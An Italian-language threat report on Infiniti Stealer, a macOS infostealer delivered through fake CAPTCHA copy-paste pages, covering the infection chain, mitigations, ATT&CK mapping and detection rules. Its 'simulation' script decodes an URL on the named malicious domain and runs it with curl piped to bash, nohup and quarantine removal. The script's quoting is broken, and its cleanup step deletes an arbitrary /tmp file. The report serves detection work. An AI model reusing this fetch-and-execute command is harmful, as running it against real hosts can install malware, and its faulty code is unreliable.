Infiniti Stealer: un nuovo infostealer per macOS che utilizza ClickFix e Python/Nuitka
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Un nuovo infostealer per macOS chiamato Infiniti Stealer è stato individuato mentre utilizzava un’esca di ingegneria sociale ClickFix per infettare gli utenti. Il malware è costruito con Nuitka, che converte il codice Python in un binario Mach-O nativo, rendendo più difficile l’ispezione statica. Una volta eseguito, ruba credenziali, dati di Keychain, file di portafogli di criptovalute e altre informazioni sensibili, quindi esfiltra i dati raccolti tramite richieste HTTP POST. La campagna si affida anche a una pagina CAPTCHA falsa ospitata su un dominio malevolo per convincere le vittime a eseguire un comando Bash dannoso.
Indagine
I ricercatori hanno scoperto il payload durante la caccia alle minacce di routine e inizialmente lo hanno monitorato con il nome temporaneo NukeChain prima che il pannello dell’attore minaccioso esponesse il marchio finale come Infiniti Stealer. L’analisi ha rivelato un flusso a tre fasi: un dropper Bash consegnato tramite un CAPTCHA falso, un caricatore compilato con Nuitka e un modulo stealer basato su Python. Il dropper posiziona il binario in /tmp, rimuove l’attributo di quarantena e lo avvia passando i dettagli C2 tramite le variabili d’ambiente. La fase finale raccoglie dati da browser, Keychain, portafogli e file correlati agli sviluppatori prima di inviarli al server controllato dall’attaccante.
Mitigazione
Gli utenti non dovrebbero mai copiare ed eseguire comandi da siti web sconosciuti, specialmente pagine che fingono di verificare le sfide CAPTCHA. I difensori dovrebbero ispezionare e rimuovere file sospetti in /tmp or ~/Library/LaunchAgents, eseguire una scansione anti-malware affidabile e ruotare le password per eventuali account potenzialmente esposti da un sistema pulito. Anche eventuali token API attivi o chiavi SSH che possono essere stati raccolti dovrebbero essere revocati.
Risposta
I team di rilevamento dovrebbero monitorare lo script dropper e il binario compilato con Nuitka osservando la creazione di file in /tmp che corrisponde al modello di denominazione descritto. Gli avvisi dovrebbero attivarsi sull’esecuzione del comando Bash dannoso e sul traffico in uscita HTTP POST verso il dominio C2 identificato. L’accesso alla rete a update-check.com and infiniti-stealer.com dovrebbe essere bloccato. Una revisione forense basata sull’host dovrebbe poi identificare le credenziali rubate e supportare i reset obbligatori delle credenziali.
"graph TB %% Class definitions section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef artifact fill:#cccccc classDef operator fill:#ff9900 %% Node definitions action_initial_access["<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla dannoso</b><br/><b>Descrizione</b>: La vittima copia e incolla un comando dannoso in un terminale, portando all’esecuzione del codice."] class action_initial_access action artifact_captcha_page["<b>Artefatto</b> – <b>Pagina CAPTCHA falsa</b><br/>URL: update-check.com<br/>Fornisce il comando di copia‑incolla alla vittima."] class artifact_captcha_page artifact action_execution_dead_drop["<b>Azione</b> – <b>T1102.001 Servizio Web: Risolutore Dead Drop</b><br/><b>Descrizione</b>: Utilizza un servizio web come dead drop per recuperare payload aggiuntivi."] class action_execution_dead_drop action process_curl_download["<b>Processo</b> – <b>curl</b><br/><b>Comando</b>: curl -sSfL … | bash<br/>Scarica stageu20111 dropper Bash."] class process_curl_download process artifact_temp_binary["<b>Artefatto</b> – <b>Binario temporaneo</b><br/>Posizione: /tmp/<br/>Flag di quarantena rimosso dopo il download."] class artifact_temp_binary artifact action_defense_evasion_sandbox["<b>Azione</b> – <b>T1497.002 Controlli Attività Utente</b> & <b>T1497.003 Evasione Basata sul Tempo</b><br/><b>Descrizione</b>: Rileva ambienti di virtualizzazione o analisi prima di procedere."] class action_defense_evasion_sandbox action action_guardrails["<b>Azione</b> – <b>T1480.002 Binari di Esecuzione: Mutua Esclusione</b><br/><b>Descrizione</b>: Garantisce che solo un’istanza venga eseguita sull’host."] class action_guardrails action action_file_deletion["<b>Azione</b> – <b>T1070.004 Eliminazione File</b><br/><b>Descrizione</b>: Elimina file temporanei e log dopo l’uso."] class action_file_deletion action action_obfuscation["<b>Azione</b> – <b>T1027.005 File o Informazioni Offuscati</b><br/><b>Descrizione</b>: Utilizza l’offuscamento per nascondere payload dannosi."] class action_obfuscation action action_collection_input_capture["<b>Azione</b> – <b>T1056 Cattura Input</b><br/><b>Descrizione</b>: Cattura credenziali del browser, voci di keychain, dati del portafoglio di criptovalute e screenshot."] class action_collection_input_capture action artifact_collected_data["<b>Artefatto</b> – <b>Dati Sensibili Raccolti</b><br/>Credenziali del browser, voci di keychain, file del portafoglio di criptovalute, screenshot."] class artifact_collected_data artifact action_exfiltration_alternative["<b>Azione</b> – <b>T1048 Esfiltrazione tramite Protocollo Alternativo</b><br/><b>Descrizione</b>: Invia dati tramite HTTP POST a un server remoto."] class action_exfiltration_alternative action artifact_c2_domain["<b>Artefatto</b> – <b>Dominio C2</b><br/>update-check.com"] class artifact_c2_domain artifact artifact_telegram_notification["<b>Artefatto</b> – <b>Notifica Telegram</b><br/>L’attaccante riceve aggiornamenti di stato tramite Telegram."] class artifact_telegram_notification artifact action_lateral_tool_transfer["<b>Azione</b> – <b>T1570 Trasferimento Strumenti Laterale</b><br/><b>Descrizione</b>: Scarica payload addizionali su richiesta per ulteriore compromissione."] class action_lateral_tool_transfer action artifact_additional_payload["<b>Artefatto</b> – <b>Payload Addizionali</b><br/>Scaricati secondo necessità per le fasi successive."] class artifact_additional_payload artifact %% Connections showing flow action_initial_access –>|consegna| artifact_captcha_page artifact_captcha_page –>|attiva| action_execution_dead_drop action_execution_dead_drop –>|usa| process_curl_download process_curl_download –>|scrive| artifact_temp_binary artifact_temp_binary –>|abilita| action_defense_evasion_sandbox action_defense_evasion_sandbox –>|include| action_guardrails action_defense_evasion_sandbox –>|include| action_file_deletion action_defense_evasion_sandbox –>|include| action_obfuscation action_file_deletion –>|rimuove| artifact_temp_binary action_obfuscation –>|offusca| artifact_temp_binary action_defense_evasion_sandbox –>|porta_a| action_collection_input_capture action_collection_input_capture –>|cattura| artifact_collected_data artifact_collected_data –>|inviati_attraverso| action_exfiltration_alternative action_exfiltration_alternative –>|destinato_a| artifact_c2_domain artifact_c2_domain –>|notifica| artifact_telegram_notification action_exfiltration_alternative –>|abilita| action_lateral_tool_transfer action_lateral_tool_transfer –>|scarica| artifact_additional_payload
Flusso di Attacco
Rilevamenti
Possibile Evasione delle Difese bypassando il Gatekeeper di MacOS (tramite cmdline)
Vista
Possibile Manipolazione di Stringhe Codificate in Base64 [MacOS] (tramite cmdline)
Vista
Tentativo di Esecuzione di Curl Sospetto [MacOS] (tramite cmdline)
Vista
IOC (HashMd5) per rilevare: Infiniti Stealer: un nuovo infostealer per macOS che utilizza ClickFix e Python/Nuitka
Vista
IOC (HashSha256) per rilevare: Infiniti Stealer: un nuovo infostealer per macOS che utilizza ClickFix e Python/Nuitka
Vista
Rilevamento di Infezione da Infiniti Stealer tramite Esecuzione di Comando nel Terminale [Creazione Processo Linux]
Vista
Esecuzione di Simulazione
Prerequisito: Il controllo di pre-volo Telemetria e Baseline deve essere superato.
Narrazione e Comandi di Attacco
Un attaccante fornisce un link di phishing che, quando aperto su una workstation macOS, esegue il seguente comando one-liner nel Terminale. Il comando:
- Scarica un URL codificato in base64 (l’host del payload) tramite
curl -sSfL. - Decodifica la stringa base64 per rivelare l’effettivo URL HTTPS.
- Esegue lo script scaricato con
bash. - Esegui con
nohupper mantenerlo in vita dopo che il terminale è chiuso. - Rimuove l’attributo di quarantena (
xattr -dr com.apple.quarantine) per bypassare Gatekeeper.
Questi passaggi producono i frammenti di linea di comando esatti che la regola Sigma sta osservando, generando così l’allerta attesa.
Script Test di Regressione
#!/usr/bin/env bash
# ------------------------------------------------------------
# Simulazione di infezione di Infiniti Stealer (macOS)
# ------------------------------------------------------------
# 1. Costruire il comando dannoso one-liner (esattamente come si aspetta la regola)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"
# 2. Aiuti di persistenza opzionali (inclusi nel rilevamento)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"
# 3. Eseguire il comando
eval "$MALICIOUS_CMD"
# 4. Attendiamo qualche secondo per consentire l'ingestione SIEM
sleep 5
# 5. Produci un marcatore per la verifica manuale
echo ">>> Simulazione eseguita – controlla SIEM per allerta <<<"
Comandi di Pulizia
#!/usr/bin/env bash
# ------------------------------------------------------------
# Pulizia dopo la simulazione di Infiniti Stealer
# ------------------------------------------------------------
# Termina eventuali processi nohup di background avviati dalla simulazione
pkill -f "bash <(curl -sSfL"
# Rimuovi eventuali file temporanei che potrebbero essere stati creati
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)
# Ripristina attributo di quarantena su Terminal (opzionale, per igiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true
echo "Pulizia completata."
Fine del Rapporto